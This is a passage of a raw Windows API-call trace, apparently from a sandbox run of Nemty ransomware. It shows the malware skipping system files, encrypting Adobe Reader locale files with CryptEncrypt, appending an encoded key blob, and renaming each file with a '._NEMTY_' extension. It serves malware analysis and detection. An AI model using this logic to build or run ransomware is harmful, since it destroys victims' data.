lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.SUO", cAlternateFileName="")) returned 1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2=".") returned 1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="..") returned 1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="...") returned 1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="windows") returned -1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="rsa") returned -1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="NTDETECT.COM") returned -1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="ntldr") returned -1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="MSDOS.SYS") returned -1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="IO.SYS") returned -1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="boot.ini") returned 1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="boot.ini") returned 1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="ntuser.dat") returned -1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="desktop.ini") returned 1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="CONFIG.SYS") returned 1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="RECYCLER") returned -1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="bootmgr") returned 1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="programdata") returned -1 [0176.595] lstrcmpiW (lpString1="eBook.SUO", lpString2="appdata") returned 1 [0176.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SUO", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SUO", lpUsedDefaultChar=0x0) returned 9 [0176.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SUO", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SUO", lpUsedDefaultChar=0x0) returned 9 [0176.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SUO", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SUO", lpUsedDefaultChar=0x0) returned 9 [0176.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SUO", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SUO", lpUsedDefaultChar=0x0) returned 9 [0176.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.596] Sleep (dwMilliseconds=0x5) [0176.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ce97310, dwHighDateTime=0x1d561e8)) [0176.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ce97310, dwHighDateTime=0x1d561e8)) [0176.605] GetLastError () returned 0x0 [0176.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.605] GetLastError () returned 0x0 [0176.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.606] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.606] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.606] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.606] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="4upS50wTgwyjW3dKZJdkRzzjpRrvYBNJTbljr446+XM+edGYJ188u13qaP8/dMra\r\n+MWKvdrd0ItzQHllcnaf2snRAcpnREPOOKLU/SbNhp0NCIBS0BBZdJASrn5hSqnv\r\nFx6K2VLxrW/PmZ/9kx8p5BrzuB7aKWoRyaQoDMGrIJxJELf3Op5ibOCS99qfIklq\r\nVb0JnFsg1oLlscgq9Ne4KwSI1Ppn5+iwo57TITwQ/VnC3OQuiNQG5wMu1zZKUx3O\r\nCOLXOfsww0HVYSUp2P1NFq2yOhoK8nWGdCkn9IgIjtNZPmW79gObt0ObhbW12kZl\r\nHp7gCnlpOzfH8c24fWWtjQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.606] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\eBook.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ebook.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.606] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0176.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0176.606] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.606] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0176.608] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.608] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0176.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.609] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0176.609] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.609] CloseHandle (hObject=0x2e8) returned 1 [0176.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0176.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0176.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0176.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.609] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\eBook.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ebook.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\eBook.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ebook.suo._nemty_kgobjgd_")) returned 1 [0176.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0176.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.610] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.SUO", cAlternateFileName="")) returned 1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2=".") returned 1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="..") returned 1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="...") returned 1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="windows") returned -1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="rsa") returned -1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="NTDETECT.COM") returned -1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="ntldr") returned -1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="MSDOS.SYS") returned -1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="IO.SYS") returned -1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="boot.ini") returned 1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="boot.ini") returned 1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="ntuser.dat") returned -1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="desktop.ini") returned 1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="CONFIG.SYS") returned 1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="RECYCLER") returned -1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="bootmgr") returned 1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="programdata") returned -1 [0176.610] lstrcmpiW (lpString1="EScript.SUO", lpString2="appdata") returned 1 [0176.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SUO", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SUO", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SUO", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SUO", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.611] Sleep (dwMilliseconds=0x5) [0176.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cebd470, dwHighDateTime=0x1d561e8)) [0176.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cebd470, dwHighDateTime=0x1d561e8)) [0176.621] GetLastError () returned 0x0 [0176.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.621] GetLastError () returned 0x0 [0176.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.621] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.621] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.621] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.621] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Lg3x72CLrY5AQgrP2/1jtA31xJTRjZqMwlvcJ3a9OuHtAQ9y432kQqTdguY5UrUS\r\nWl1xxoopWsSNg0eGs8ZOo4dE5xrQX1plRKhWDuAXIWZumkp84vkVcR2dc6o32IWZ\r\ntatYEX1hPOKSh5pY+IV7eIKfubY7+w7dgfrNsET/7x3/dmwSt9mH3oS7BUQWl/iC\r\nis1wHLoDBUTcR7lLZefriJAoLmiH9eQZ9yRpPJ+zoYkxcAYCAfT0sGy+AbKkGTuF\r\nBW5rIgYGDLE9ynvC2yLERQEZiqlD4zuZmB+9Ob4EnNkUFKTStL4QfZnBpvXoPrbn\r\nVe84aK0ttauFt/+MlRHoag==\r\n", pcchString=0x653e5dc) returned 1 [0176.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.622] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\EScript.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\escript.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.622] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=41472) returned 1 [0176.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa200) returned 0x6352c48 [0176.622] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.622] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa200, lpOverlapped=0x0) returned 1 [0176.626] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.626] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa200, lpOverlapped=0x0) returned 1 [0176.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.626] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=41472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa200 [0176.627] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.627] CloseHandle (hObject=0x2e8) returned 1 [0176.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.627] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\EScript.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\escript.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\EScript.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\escript.suo._nemty_kgobjgd_")) returned 1 [0176.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 